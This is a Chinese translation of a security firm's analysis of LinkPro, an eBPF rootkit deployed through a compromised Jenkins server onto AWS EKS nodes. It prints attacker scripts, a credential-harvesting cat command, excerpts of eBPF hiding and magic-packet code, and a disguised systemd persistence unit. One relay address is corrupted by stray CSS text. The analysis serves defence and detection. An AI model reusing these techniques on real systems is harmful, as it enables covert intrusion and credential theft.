LinkPro:针对云环境的eBPF rootkit剖析
注:本文翻译自Synacktiv - Théo Letailleur的文章《LinkPro: eBPF rootkit analysis》[1],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
摘要
在与 AWS 托管基础设施泄露相关的数字调查中,发现了一个针对 GNU/Linux 系统的隐秘后门。该后门的功能实现依赖于两个eBPF模块的安装:一方面用于自我隐藏,另一方面可在接收到"魔术数据包(magic packet)"时被远程激活。本文详细分析了该rootkit的功能特性,并揭示了在本案例中观测到的感染链,该链式攻击允许将后门部署在AWS EKS环境的多个节点上。
一、引言
eBPF(扩展伯克利包过滤器,extended Berkeley Packet Filter)是一项在Linux系统中广受欢迎的技术,因其在多种应用场景(可观测性、安全、网络等领域)以及能在内核上下文运行的同时接受用户空间编排的特性而备受青睐。如今攻击者正日益滥用该技术来创建复杂后门,以规避传统系统监控工具的检测。
诸如BPFDoor[2]、Symbiote[3]和J-magic[4]等恶意软件,均展示了eBPF在创建被动后门方面的有效性,这些后门能够监控网络流量,并在收到特定"魔术数据包(magic packet)"时被激活。此外,更复杂的开源工具如PoC项目ebpfkit[5]和采用Golang编写编排器的eBPFexPLOIT[6],均可作为rootkit使用,其功能涵盖建立隐蔽命令与控制(C2)信道、进程隐藏及容器逃逸技术等。
Synacktiv CSIRT团队在近期调查某AWS托管基础设施入侵事件时,发现了一条相对复杂的感染链,最终导致GNU/Linux系统被植入隐形后门。该后门通过安装两个eBPF模块实现其功能:一个用于自我隐藏,另一个则在接收到"魔术数据包(magic packet)"时被远程激活。
二、感染链
取证分析发现,一台暴露在互联网上且存在漏洞的Jenkins服务器(CVE-2024–23897[7])是此次入侵的源头。该服务器成为攻击者的初始攻击入口,随后攻击者横向移动至部署在多个Amazon EKS[8](弹性Kubernetes服务,标准模式)集群上的集成与部署流水线。
攻击者从Jenkins服务器出发,在多个Kubernetes集群上部署了名为kvlnt/vv的恶意Docker镜像(在我们发现后,该镜像已被DockerHub支持团队从其平台hub.docker.com[9]移除)。该Docker镜像基于Kali Linux构建,并包含两个附加层(layers)。
这些附加层将app文件夹设置为工作目录,并向其中添加了三个文件:
1. /app/start.sh:一个作为Docker镜像入口点的bash脚本,其功能是启动ssh服务、执行后门程序/app/app以及运行/app/link程序。
#!/bin/bash
sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config
/etc/init.d/ssh start
./app &
./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp2. /app/link:一个名为**vnt[11]的开源程序,充当VPN**服务器并提供代理功能。该程序会连接到社区中继服务器vnt.wherewego.transform: translateY(29872,使得攻击者能够从任意IP地址连接至受入侵服务器,并将其作为代理访问基础设施内的其他服务器。在/app/start.sh脚本中指定的命令行参数如下:1. -k ooonnn:用于标识中继服务器上虚拟VLAN的令牌2. -w mmm000:用于客户端间通信加密的密码(AES128-GCM)3. -W:启用客户端与服务器间的加密(RSA+AES256-GCM),防止令牌泄露与中间人攻击4. -o 0.0.0.0/0:允许**转发(forwarding)**到所有网段。3. /app/app:一个下载器(downloader)恶意软件,用于从S3存储桶获取加密的恶意载荷。其联系的URL为https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png。在本案例中,该载荷是内存态的vShell 4.9.3后门,通过WebSocket与其命令控制服务器(56.155.98.37)通信。Synacktiv CSIRT将此下载器命名为vGet,因其在本案例中与vShell存在直接关联。
vShell[12]是一个已有公开文档记录的后门,曾被UNC5174[13]等组织使用。其源代码约一年前已在GitHub下架。不过,当前存在可下载的vShell 4.9.3版本及其(破解版)许可证,使得各类攻击者都能使用该后门。
然而,关于vGet目前尚无开源资料披露。该恶意软件使用Rust语言开发并经过符号剥离处理。其在下载vShell载荷前,会先创建指向/dev/null的符号链接/tmp/.del。而vShell在运行期间(应操作者要求)启动终端时,会初始化环境变量HISTFILE=/tmp/.del,旨在确保命令历史不会写入文件(如.bash_history)。这表明两个程序之间可能存在关联,且vGet可能是专为直接在内存中无痕执行vShell而开发。
恢复的 vGet 样本除了对 Rust 依赖项的绝对路径中定义的用户名 cosmanking 的引用外 ,几乎没有符号,例如:
• /Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs
关于Docker镜像,还发现以下挂载点配置:
• 挂载点: /mnt• 源地址(宿主机): /• 目标地址(容器内): /mnt• 访问权限:读、写 • 类型: bind
此配置使得威胁行为体能够突破容器上下文(运行中的镜像),以root权限访问根分区的完整文件系统。
通过kvlnt/vv Pod中的/app/app(vGet)进程,攻击者执行了cat命令以窃取宿主机(尤其是其他Pod)上的凭据(认证令牌、API密钥、证书等)。以下是该命令的简要摘录:
cat \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/mount \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/vol_data.json \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/ca.crt \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/namespace \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-hfsns/token \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/ca \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/cert \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/key
[..ETC..]在该Docker镜像部署数周后,多个Kubernetes节点及生产服务器上出现了另外两个恶意软件的执行痕迹。这些生产服务器因经济利益成为攻击团伙的重点目标。
首个恶意代码是一个投放器(dropper),其内嵌了另一个通过DNS隧道通信的内存态vShell后门(v4.9.3)。该投放器与已知用于投递vShell的SNOWLIGHT[14]样本不同,但具有相同目的。其解密过程分为两个阶段,以下是Synacktiv CSIRT分析的样本摘录:
最终的有效载荷是未被公开记录的LinkPro(Synacktiv CSIRT命名),这是一个利用eBPF技术的后门。由于其具备隐蔽性、持久化及内网横向移动能力,可被归类为rootkit。
三、LinkPro Rootkit
LinkPro 主要针对 GNU/Linux 系统,采用 Golang 开发。Synacktiv CSIRT 将其命名为 LinkPro,是依据其主模块符号定义:github.com/link-pro/link-client。与之同名的 GitHub 账户 link-pro[15] 并无公开代码库或贡献记录。LinkPro 利用 eBPF 技术仅在收到"魔术数据包(magic packet)"时激活,并在受感染系统上实现自我隐藏。
d5b2202b7308b25bda8e106552dafb8b6e739ca62287ee33ec77abe4016e698b1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964(主动后门) | |
.tmp~data.ok.tmp~data.pro;.tmp~data.resolveld |
LinkPro 内嵌了四个 ELF 模块:一个共享库、一个内核模块以及两个 eBPF 模块:
下表详细列出了这些内嵌的 ELF 模块。不过需要指出的是,其中的内核模块并未被 LinkPro 实际使用(未实现加载该模块的功能)。
LinkPro 内嵌的 ELF 二进制文件
b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 | ||
9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075 | ||
364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 | ||
b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 |
3.1 配置与通信
根据其预设配置,LinkPro 可工作在两种模式:被动模式或主动模式。其配置信息通过两种方式获取:
1. 以 JSON 格式嵌入在二进制文件中,并以关键字 CFG0作为前缀,2. 或者其默认参数直接硬编码在main函数中。两种样本均观察到了后一种方式。
此外,程序在运行时也会读取命令行参数来修改默认值:
Usage of <program name>:
-addsvc
/ systemd disguise
-connection-mode string
: forward reverse (default "reverse")
-debug string
(default "false")
-dns-domain string
DNS (default "dns.example.com")
-dns-mode string
DNS: direct() tunnel() (default "tunnel")
-dns-server string
DNS (: 8.8.8.8:53)
-ebpf string
eBPF (0=,1=) (default "1")
-hideebpf string
hide ebpf prog/map/link in /proc (0=,1=) (default "1")
-jitter string
() (default "2")
-key string
()
-pid string
pid to hide (default "-1")
-port string
(default "6666")
-protocol string
(httptcpudpdns) (default "http")
-reverse-port string
HTTP (default "2233")
-rmsvc
systemd disguise
-server string
(default "1.1.1.1")
-sleep string
() (default "10")
-version string
(default "1.0.0")调查中观测到的 -addsvc 参数用于激活持久化机制。
以下是 LinkPro 实现的配置结构:
struct TailConfig // sizeof=0xD0
{
string ServerAddress;
string ServerPort;
string SecretKey;
string SleepTime;
string JitterTime;
string Protocol;
string DnsDomain;
string DNSMode;
string DnsServer;
string Debug;
string Version;
string ConnectionMode;
string ReversePort;
};ConnectionMode 有两种可能的取值:reverse(反向)或 forward(正向)。
1. reverse连接模式对应被动模式,此后门监听来自 C2 的命令。在此模式下,会安装两个类型分别为eXpress Data Path(XDP[16]) 和Traffic Control(TC[17]) 的 eBPF 程序,其目的是仅在收到特定 TCP 数据包时才激活 C2 通信信道。2. forward连接模式对应主动模式,此后门主动发起与 C2 服务器的通信。在此模式下,不会安装 XDP/TC eBPF 程序。
在受入侵信息系统上发现的两个样本具有以下配置:
d5b2202b | 1368f3a8 | |
| 模式 | ||
DNS 相关字段仅在通过 DNS 协议进行通信时使用。
在解析其配置后,LinkPro 会生成一个唯一的客户端 ID,该 ID 由以下信息构成:
SHA1sum(hex:"0123456789abcdeffedcba9876543210" | Hostname | Current user | Executable path | Machine ID | MAC Address | "nginx" )注:Machine ID对应 /etc/machine-id 中的值,或者(如果该文件不存在)对应 /proc/sys/kernel/random/boot_id 中的值。
在 forward(主动)模式下,有五种可能的通信协议:
• HTTP • WebSocket • UDP (raw) • TCP (raw) • DNS (direct/tunneling)
在 reverse(被动)模式下,仅使用 HTTP 协议。后门会提供三个 URL 端点:
1. /reverse/handshake:用于识别操作者 ID(通过server_idHTTP 请求参数),并返回状态success。2. /reverse/heartbeat:返回客户端信息(如果指定了request_client_info参数),并返回状态ok。3. /reverse/operation:执行操作者的命令。
通信数据交换采用 JSON 结构,并使用配置中指定的 SecretKey 作为 XOR 密钥进行加密。
随后,程序按顺序执行以下步骤:
1. 安装"Hide" eBPF 模块 2. 如果"Hide"模块安装失败,或者该模块被禁用(通过 -ebpf 0命令行参数):则在/etc/ld.so.preload中安装一个共享库3. 如果使用 reverse模式,则安装"Knock" eBPF 模块4. 安装持久化机制 5. 执行 C2 命令 6. 在程序被中断时,删除各个模块
注:下文描述将以被动模式样本 d5b2202b 为例进行说明。
3.2 LD_PRELOAD 模块
b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 | |
libld.so |
LinkPro 会修改 /etc/ld.so.preload 配置文件,将其内嵌的 libld.so 共享库路径指定其中,目的是隐藏可能暴露后门存在的各种痕迹。libld.so 的执行步骤如下:
1. 在内存中保存 /etc/ld.so.preload的原始内容2. 将 LinkPro 二进制文件中内嵌的 libld.so提取到/etc/libld.so1. 如有需要,会以读写权限重新挂载 /etc目录:mount -o remount,rw /etc3. 分配足够的权限,确保 libld.so可被所有用户加载和执行:chmod 0755 /etc/libld.so4. 将 /etc/ld.so.preload文件内容替换为/etc/libld.so
由于 /etc/ld.so.preload 中包含了 /etc/libld.so 路径,LinkPro 安装的 libld.so 共享库会被所有需要 /lib/ld-linux.so 的程序加载( T1574.006[18])。这包括所有使用共享库的程序,例如基于 glibc 的程序。
一旦 libld.so 在程序(例如 /usr/bin/ls)执行时被加载,它会hook多个 libc 函数(在 glibc 之前),以修改可能暴露 LinkPro 存在的结果。以下是观测到的被hook函数行为:
• fopen和fopen64:如果进程尝试打开/proc/net/tcp、/proc/net/tcp6、/proc/net/udp或/proc/net/udp6(这些文件提供了活跃的 TCP/UDP 连接信息),恶意库会先执行真实的fopen函数,然后获取这些文件的内容并移除 LinkPro 的网络痕迹。具体来说,会删除任何包含源端口或目标端口为 2233(LinkPro 的监听端口)的行。最后,如果进程尝试打开名为ld.so.preload的文件,则会返回No Such File Or Directory(文件或目录不存在)错误。forge_proc_net_tcp 函数修改内容的伪代码 • 关于网络连接信息: netstat命令依赖/proc/net目录下的文件来显示连接信息。而ss命令则使用netlink协议来获取这些信息。因此,使用ss命令可以检测到机器上正在监听 2233 端口,如下图所示(openat是fopen函数使用的系统调用):LinkPro 内部端口检测:netstat 与 ss 命令对比 • 此外,得益于下文将解释的 getdentshook,LinkPro 的进程名称不会在ss命令的输出中显示。• getdents和getdents64:getdents系统调用用于列出目录中的文件。在这种情况下,libld.so会先执行getdents,然后检查是否存在以下情况:• 文件名包含关键词 .tmp~data(Linkpro 后门)、libld.so、sshids和ld.so.preload。• /proc/下的进程目录(即 PID)其命令行中包含关键词.tmp~data。• 如果找到匹配项,对应的 dirent条目会被下一个条目覆盖。覆盖待隐藏文件的 dirent 条目 • 注意:符号 toyincang和toyincanglib分别对应关键词.tmp~data和libld.so。"toyincang" 在汉语拼音中可以解读为"隐藏"。• kill:kill系统调用允许向进程发送信号,并以目标进程的 PID 作为参数。libld.so 实现的hook会检查目标进程的命令行(/proc/<pid>/cmdline)是否包含关键词.tmp~data(Linkpro 后门)。如果找到,则不会执行 libc 的kill函数。• open和open64:如果进程尝试打开名为ld.so.preload的文件,会返回No Such File Or Directory(文件或目录不存在)错误。• readdir和readdir64:libld.so的 hook会先执行正常的readdir函数(列出目录中的文件),然后检查是否存在:• 文件名包含关键词 .tmp~data、libld.so、sshids、ld.so.preload以及.system(持久化机制激活后存放 LinkPro 的文件夹)。• /proc/下的进程目录(即 PID)其命令行中包含关键词.tmp~data。• 如果找到匹配项, readdir的 hook 会返回空结果。
下图展示了 libld.so 生效的效果演示。通过指定 -ebpf 0 命令行参数来显式禁用"Hide"eBPF模块,从而激活 LD_PRELOAD 库。
总而言之,由 LinkPro 加载的 libld.so 试图对其他动态链接的程序隐藏 LinkPro 后门及 libld.so 自身的网络痕迹(监听或目标端口)和文件系统痕迹。
3.3 "Hide" eBPF 模块
b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 | |
"Hide"模块由多个 Tracepoint(跟踪点)和 Kretprobe(内核返回探针)类型的 eBPF 程序组成。
Tracepoint 类型的 eBPF 程序[19] 附着到 Linux 内核定义的静态跟踪点上。这些跟踪点放置在内核代码的特定位置,例如系统调用、内存分配、任务调度等处。特别是,系统调用的跟踪点位于入口(tracepoint/syscalls/sys_enter_syscall)或出口(tracepoint/syscalls/sys_exit_syscall)。
Kprobes[20](内核探针)允许将 eBPF 程序附着到内核中几乎任何函数(其入口点)。而 Kretprobes 则在函数返回时触发。这允许拦截和修改系统调用的结果。
LinkPro rootkit 安装了这些 eBPF 程序,并利用其功能来隐藏自身的进程和网络活动。
3.3.1 "Hide"模块的安装
首先,LinkPro 使用 ebpf-go 模块[21] 将内嵌的 "Hide" ELF 模块解析为一个特定的对象(CollectionSpec)。随后可以在内存中找到已加载的 Hide 模块的各个 eBPF 对象,即 maps[22] 和 programs[23]。Maps 是可以在程序之间共享的数据结构。
LinkPro 使用 LinkPro 当前的 PID(进程 ID)以及命令行上指定的 PID 列表(-pid 参数)来更新 pids_to_hide_map 这个 map。
LinkPro 更新 main_ebpf_progs 这个 map,以添加由 LinkPro 加载的 eBPF 程序("Hide"和"Knock"模块)的文件描述符(FD)。
然后,LinkPro 创建 BPF 链接[24] 将 eBPF 程序附着到内核中的插桩点。由 LinkPro 后门加载的"Hide"eBPF 模块为 getdents 和 getdents64 系统调用添加了 hook,其目标与 libld.so 共享库相同,即隐藏 LinkPro 特有的文件。此外,还在 sys_bpf 系统调用的入口和出口处放置了 hook,以隐藏其 eBPF maps 和程序。以下是实现的 hooks:
• tracepoint/syscalls/sys_enter_getdents -> HandleGetdentsEnter• tracepoint/syscalls/sys_enter_getdents64 -> HandleGetdents64Enter• tracepoint/syscalls/sys_exit_getdents -> HandleGetdentsExit• tracepoint/syscalls/sys_exit_getdents64 -> HandleGetdents64Ext• tracepoint/syscalls/sys_enter_bpf -> HandleBpfEnter• kretprobe/sys_bpf -> HandleBpfExit
3.3.2 handle_getdents
附着在 getdents 和 getdents64 跟踪点(Tracepoint)上的函数行为与 libld.so 类似。getdents 系统调用(sys_exit_getdents)的结果会被拦截。eBPF 程序设置过滤器以隐藏:
• 特定文件和目录:任何包含关键词 .tmp~data或.system的条目。• 特定进程:标识符(PID)在 pids_to_hideeBPF map 中列出的进程目录(位于/proc/下)也会被隐藏(该 map 最多可包含 10 个 PID)。
getdents 系统调用返回一个 dirent 结构[25]的链表,每个结构体代表一个文件或目录,并包含其名称、inode 和条目大小等信息,这些信息可用于计算下一个元素的位置。与 libld.so 在 getdents 上的hook不同,dirent 条目不会被下一条记录直接覆盖。
以下是通过修改 dirent 结构体链表来隐藏名为 .tmp~data.resolveld 的文件的方式。
eBPF 修改前
该链表是一系列连续的记录。每个 dirent 通过自身的长度(d_reclen)隐式指向下一个结构体。
dirent | dirent.tmp~data.resolveld) | dirent |
d_reclen | d_reclen | d_reclen |
d_name | d_name.tmp~data.resolveld" | d_name |
.tmp~data.resolveld 的开始位置 |
注:此处 d_reclen 的值仅为示例。
eBPF 修改后
eBPF 程序检测到 .tmp~data.resolveld。随后,它修改前一条记录(文件 A)的长度(d_reclen),将 .tmp~data.resolveld 的长度加到其中。
dirent | dirent.tmp~data.resolveld) - 已跳过 | dirent |
d_reclen | d_reclen | d_reclen |
d_name | d_name.tmp~data.resolveld" | d_name |
eBPFeXPLOIT 项目[26] 中也实现了相同的技术,并增加了要隐藏的文件名和目录。
3.3.3 handle_ebpf
这里实现了两个函数:链接到 syscall/sys_enter/bpf的跟踪点(tracepoint)的 HandleBpfEnter,以及链接到 sys_bpf 的 Kretprobe 的 HandleBpfExit。此处的目的是向 bpftool[27] 等工具隐藏 eBPF 程序的存在。观测到的代码与 EBPFeXPLOIT 项目[28] 中实现的代码基本相同,只是增加了一些额外检查和两次 bpf_printk 调用(可能用于调试)。
int handleBpfEnter(struct trace_event_raw_sys_enter *ctx) {
// ...
if ((!attr_ptr) &&
(bpf_probe_read_user(&cmd_info.start_id, sizeof(__u32), (void *)attr_ptr) != 0))
{
bpf_printk("BPF cmd: %d, start_id: %u", cmd, cmd_info.start_id);
bpf_map_update_elem(&hideEbpfMap, &pid_tgid, &cmd_info, BPF_ANY);
}
//...
}
inthandleBpfExit(struct pt_regs *ctx) {
// ...
__u8 *is_main = bpf_map_lookup_elem(&main_ebpf_progs, &next_id);
if (is_main && *is_main == 1) {
bpf_printk("HIDING NEXT_ID: %u", next_id);
bpf_override_return(ctx, -ENOENT);
return0;
}
// ...
}bpf_printk 的输出记录在特殊文件 /sys/kernel/debug/tracing/trace_pipe 中。需要 root 权限才能读取其内容:
root@malux# bpftool prog list
# ..output...
root@malux# cat /sys/kernel/debug/tracing/trace_pipe
bpftool-15162 [003] ...21 66902.319601: bpf_trace_printk: BPF cmd: 11, start_id: 0
bpftool-15162 [003] ...21 66902.319778: bpf_trace_printk: BPF cmd: 11, start_id: 52
bpftool-15162 [003] ...21 66902.319825: bpf_trace_printk: BPF cmd: 11, start_id: 160
bpftool-15162 [003] ...21 66902.319867: bpf_trace_printk: BPF cmd: 11, start_id: 161
# [..etc..]
bpftool-15162 [003] ...21 66902.320442: bpf_trace_printk: BPF cmd: 11, start_id: 175
bpftool-15162 [003] ...21 66902.320484: bpf_trace_printk: BPF cmd: 11, start_id: 176
bpftool-15162 [003] ...21 66902.320528: bpf_trace_printk: BPF cmd: 11, start_id: 177
bpftool-15162 [003] ...21 66902.320533: bpf_trace_printk: HIDING NEXT_ID: 654handlerBpfEnter 跟踪点(Tracepoint)将类型为 BPF_PROG_NEXT_ID、BPF_MAP_NEXT_ID 和 BPF_LINK_NEXT_ID 的 BPF 命令保存在一个 map 中。在执行 sys_bpf 系统调用之后,会触发 handlerBpfExit hook。
• 此时会获取关联命令的结构体,该结构体现在包含了系统调用的结果,即下一个程序、map 或链接的 ID。 • 如果 cmd_info.attr_pr.next_id的值等于main_ebpfs_progsmap 中某个对象的 ID,那么sys_bpf的返回值将被替换为-ENOENT(No such file or directory(文件或目录不存在))。
下图展示了加载"Hide"模块(使用 -ebpf 1 参数,此为默认值)的演示效果,该模块向 bpftool 工具隐藏了 eBPF 程序:
需要注意的是,eBPF maps 和链接的 FD 并未被 LinkPro 包含在 main_ebpf_progs map 中,这是一个失误:尽管程序被正确隐藏,但仍然可以列出它们的 eBPF maps 和链接,以及与 LinkPro 关联的 PID。
另一个要点是,bpf_override_return 辅助函数仅在 Linux 内核编译时启用了 CONFIG_BPF_KPROBE_OVERRIDE 配置选项[29] 的情况下才可用。例如,Amazon Linux[30] 或 Ubuntu 24.04 的相对较新的内核就是这种情况。如果所需的内核选项未启用,BPF 验证器将拒绝该程序并阻止"Hide"模块加载。如果加载失败,则会使用替代方法,即加载 libld.so 库,作为备用方案来隐藏 LinkPro 的部分痕迹。
3.4 "Knock" eBPF 模块
364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 | |
"Knock"模块包含两个由 LinkPro 加载的 eBPF 程序。
第一个程序名为 xdp_ingress,属于 XDP(eXpress Data Path)类型。
XDP[31] 提供了一种通过 eBPF 程序处理网络数据包的机制。它位于处理链的非常早期阶段,即在驱动层,处于经典 Linux 网络协议栈的上游。XDP eBPF 程序使用返回码(例如 XDP_PASS、XDP_DROP、XDP_REDIRECT)来决定 Linux 内核应对网络数据包采取的操作。
第二个程序名为 tc_egress,属于 TC(Traffic Control)类型。
tc 是由 iproute2 包引入的一个工具,允许控制网络接口上的入站(ingress)和出站(egress)流量。可以将 BPF 程序附加到不同的 TC 控制点,例如在数据包发送之前对其进行过滤。TC 位于驱动程序和网络协议栈之间,即位于 XDP 的下游。XDP 程序只能附加到入站流量,不能附加到出站流量,这正是在此场景下使用 TC 的原因。
3.4.1 "Knock"模块的安装
安装 xdp_ingress 和 tc_egress 程序需要以下几个步骤:
1. 检测网络接口:识别用于连接互联网的网络接口(例如 eth0)。2. 创建 BPF 目录:在 BPF 文件系统(BPF FS)中创建一个 fire目录,路径为/sys/fs/bpf/fire。BPF FS 是一个伪虚拟文件系统(仅驻留于内存中),用于存储 BPF 程序和映射(map),以及pinned objects(固定对象)[32](通过 BPF FS 中的伪文件保持对这些对象的引用,以确保其持久性)。3. 加载模块:将 Knock模块加载到内存中(CollectionSpec对象)。4. 更新配置映射:使用 LinkPro 配置中的 reverse_port属性值(在本例中为端口2233)更新conf_mapBPF 映射。5. 安装 xdp_ingress程序:1. 卸载已链接在该网络接口上的任何现有 XDP 程序: ip link set dev eth0 xdp off2. 通过创建 BPF 链接[33] 将 xdp_ingress程序附着到网络接口。6. 安装 tc_egress程序:1. 将 tc_egress程序固定(pin)在/sys/fs/bpf/fire/tc_egress。这意味着它已被另一个进程(LinkPro)加载到内存中,并已固定在 BPF 虚拟文件系统(bpffs)中。2. 通过以下 tc命令将tc_egress程序附着到网络接口:1. 准备接口: tc qdisc replace dev eth0 clsact1. 使用 clsact(分类器动作)在eth0接口上创建或替换队列规则(qdisc),这提供了两个用于附着过滤器的挂载点:ingress(入站数据包)和egress(出站数据包)。2. 清理旧过滤器:清除出站流量上的旧过滤器: tc filter del dev eth0 egress3. 附着 eBPF 程序:将 tc_egress程序附着到网络接口的egress钩子:tc filter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned /sys/fs/bpf/fire/tc_egress1. proto all:该过滤器适用于所有协议的数据包。2. prio 1:过滤器以最高优先级执行。3. handle 1:所创建过滤器的标识符。4. bpf:表明该过滤器是一个 BPF 程序。5. da(或direct-action):表示 eBPF 程序的返回值(例如TC_ACT_OK放行,TC_ACT_SHOT丢弃)将直接决定数据包的命运。6. pinned /sys/fs/bpf/tc_egress:告知 TC 在哪里可以找到 eBPF 程序,该程序已由 LinkPro 固定在bpffs中。
3.4.2 xdp_ingress
xdp_ingress eBPF 程序监听所附着网络接口(提醒:该接口被 LinkPro 识别为具有互联网访问权限)上的入站流量。该程序监控是否接收到magic packet(魔术数据包)。
• 该 magic packet(魔术数据包)必须具有以下特征:一个 TCP 协议数据包,类型为SYN,其窗口大小值tcp_header->windows_size为54321。• 如果验证到这样的数据包, xdp_ingress程序会在knock_mapmap中保存一个键值对:键为数据包的源 IP 地址,值为关联的过期时间(一小时),指示open状态。• 此外,程序还在 rev_port映射中保存以下键/值对:键:rev_key = { in_port, sip, sport}(sip = 源 IP,sport = 源端口),值:dport(目标端口)。in_port等于存储在conf_map中的值,即 2233。• 最后, xdp_ingress程序返回XDP_DROP代码,指示 Linux 内核立即丢弃该魔术数据包(magic packet)。程序对于这个特定的源 IP 地址已转换为"open"状态。
if (tcph->syn && tcph->window == bpf_htons(MAGIC_WIN)) {
bpf_printk("[DBG-KNOCK] 检测到敲门包: sip=%x sport=%u dport=%u win=%u", sip_h, sport_h, dport_h, (data->tcph).window); // (Knock packet detected)
__u64 exp = bpf_ktime_get_ns() + WIN_NS; // current time + 1 hour
bpf_map_update_elem(&knock_map, &sip_h, &exp, BPF_ANY);
bpf_printk("[KNOCK-SET] key=%x exp=%llu", sip_h, exp);
__u16 in_port = get_in_port()
struct rev_key rk = {
in_port,
sip_h,
sport_h
}
bpf_map_update_elem(&rev_port, &rk, &dport_h, BPF_ANY);
bpf_printk("[KNOCK] %x:%u -> %u", sip_h, sport_h, dport_h);
return XDP_DROP;
}• open状态:在接收到魔术数据包(magic packet)后的一小时内,xdp_ingress程序监控是否接收到源 IP 地址与已注册在knock_map中的地址相同的 TCP 数据包。• 在这种情况下,如果目标端口尚不等于 in_port的值(2233),则xdp_ress会修改入站数据包的 TCP 头部,将目标端口值替换为in_port。此外,为防止数据包在下游被内核丢弃,TCP 校验和tcp_header->check_sum也会被重新计算并在 TCP 头部中修改。最后,xdp_ingress返回XDP_PASS代码,将数据包传递给网络协议栈的后续部分处理。
bpf_printk("[FOUND] 找到有效敲门记录: sip=%x dport=%u", sip_h, dport_h); // (Found valid knock records)
__u16 in_port = get_in_port()
if (dport_h == in_port) {
bpf_printk("[SKIP] 已是内部端口: sip=%x dport=%u", sip_h, dport_h); // (Already an internal port)
}
else {
__u16 old_n = tcph->dest;
__u32 old32 = (__u32)old_n;
__u16 new_n = bpf_htons(in_port);
__u32 new32 = (__u32)new_n;
__u32 diff = bpf_csum_diff(&old32, 4, &new32, 4, ~(data->tcph).check); //TCP Checksum Diff
(data->tcph).dest = new_n;
tcph->check = fold_csum(diff);
bpf_printk("[XDP] REWRITE %x:%u %u→%u", sip_h, sport_h, dport_h, in_port);
}最后,如果使用了目标端口 9999,程序会显示额外的内核调试信息:
• [DBG-9999] 收到9999端口包: sip=%x sport=%u, fin=%d syn=%d rst=%d win=%u(收到来自 9999 端口的数据包)• [MISS] 未找到敲门记录: sip=%x dport=%u(未找到敲门记录)
3.4.3 tc_egress
tc_egress eBPF 程序监听所附着网络接口上的出站流量。该程序监控源端口为 in_port(2233)的 TCP 数据包的发送。
• 如果接收到这样的数据包,程序会检查 rev_portmap中是否存在键rev_key = { in_port, dip, dport}(dip = 目标 IP),该键值对之前已由xdp_ingress保存。• 如果找到,程序会修改出站数据包的 TCP 头部,在出站数据包的源端口级别上,恢复入站数据包的原始目标端口(该端口先前已被 xdp_ingress替换)。同时也会重新计算校验和。最后,在任何情况下,数据包都会继续其处理过程(返回TC_ACT_OK代码)。
if ((data->tcph).source == bpf_htons(get_in_port())){
__u16 dport_n = tcph->dest;
struct rev_key rk = {
get_in_port(),
bpf_ntohl((data->iph).daddr),
bpf_ntohs(dport_n)
}
__u16 *knock = bpf_map_lookup_elem(&rev_port, &rk);
if (!knock) {
bpf_printk("[TC-MISS] 未找到端口映射: dip=%x dport=%u", bpf_ntohl((data->iph).daddr), bpf_ntohs(dport_n)); // (Port mapping not found)
}
else {
__u16 new_n = bpf_htons(*knock);
__u16 old_n = (data->tcph).source;
__u32 o32 = (__u32)old_n;
__u32 n32 = (__u32)new_n;
__u32 diff = bpf_csum_diff(&o32, 4, &n32, 4, ~(data->tcph).check);
(data->tcph).source = new_n;
(data->tcph).check = fold_csum(diff);
bpf_printk("[TC] REWRITE_BACK %u→%u", get_in_port(), *knock);
}
}因此,LinkPro 的目标是:在接收到初始"魔术数据包(magic packet)"时,有条件地激活命令接收状态。一旦收到魔术数据包(magic packet),操作者有一个小时的时间窗口(之后可以重新激活)向任意目标端口发送命令。xdp_ingress 程序的作用是修改入站 TCP 数据包的头部,将原始目标端口替换为 LinkPro 的监听端口(在此场景下是 2233)。
最后,当 LinkPro 响应操作者的命令时,tc_egress 程序的作用是修改出站数据包,将源端口(2233)替换为原始端口。此操作的目的是允许操作者通过前端防火墙允许的任何端口来激活 LinkPro 的命令接收功能。这也使得前端防火墙日志与受感染主机的网络活动之间的关联分析变得更加复杂。例如:操作者将其命令发送到受感染 Web 服务器的 443/https 端口,而实际上数据包在服务器内部被转发到了 2233 端口。
3.5 持久化机制
为了在宿主机上实现持久化,LinkPro 将自己"伪装"成 systemd-resolved 服务(名称解析服务)。
1. 通过执行命令以读写权限重新挂载根分区 /:mount -o remount,rw /。2. 将其自身可执行文件复制到 /usr/lib/.system/.tmp~data.resolveld。3. 在 /etc/systemd/system/systemd-resolveld.service中添加一个systemd单元文件:[Unit]
Description=Network Name Resolution Manager
Documentation=man:systemd-resolved.service(8)
After=network.target
[Service]
Type=simple
ExecStart=/usr/lib/.system/.tmp~data.resolveld
Restart=always
RestartSec=5
KillSignal=SIGTERM
ProtectSystem=full
PrivateTmp=true
